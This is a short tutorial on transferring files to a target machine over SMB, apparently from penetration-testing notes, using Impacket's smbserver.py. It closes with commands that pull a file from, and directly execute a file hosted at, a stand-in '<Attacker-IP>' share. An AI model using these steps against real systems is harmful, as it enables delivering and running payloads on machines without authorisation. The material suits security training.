File Transfer via SMB

SMB (Server Message Block) is a network resource sharing protocol used primarily by Windows systems to expose directories, files, and printers. It is also supported on Linux/macOS via implementations such as Samba and tools such as Impacket. The protocol typically operates over TCP/445 (direct SMB) and, in older environments, over NetBIOS (port 139).

How SMB Transfers Files (Overview)

  • A TCP connection is established between the client and server.
  • The client authenticates or uses anonymous access (if allowed).
  • The client "connects" to a remote share (resource); this maps the share name to a directory on the server.
  • The client opens a file (handle), then performs READ/WRITE operations to transfer data.
  • Upon completion, the client closes the handle and unmounts the share.

Practical example.

Create a local folder called smb that will contain the files you want to make available to the target. Place file-to-transfer (or any other file you want to share) inside it.

mkdir smb

Quick note: The smbserver.py used in the example is part of Impacket, a collection of Python scripts widely used for network tasks and exploitation/reverse engineering in Windows environments.

smbserver.py (Impacket) creates a simple SMB server that will advertise a share to the network.

sudo smbserver.py share smb

The server will wait for connections; the target can access the share using the server's IP address and the share name.

Then transfer the desired file.

#transfer the file
copy \\<Attacker-IP>\share\file-to-transfer

#transfer and execute the file
\\<Attacker-IP>\share\file-to-transfer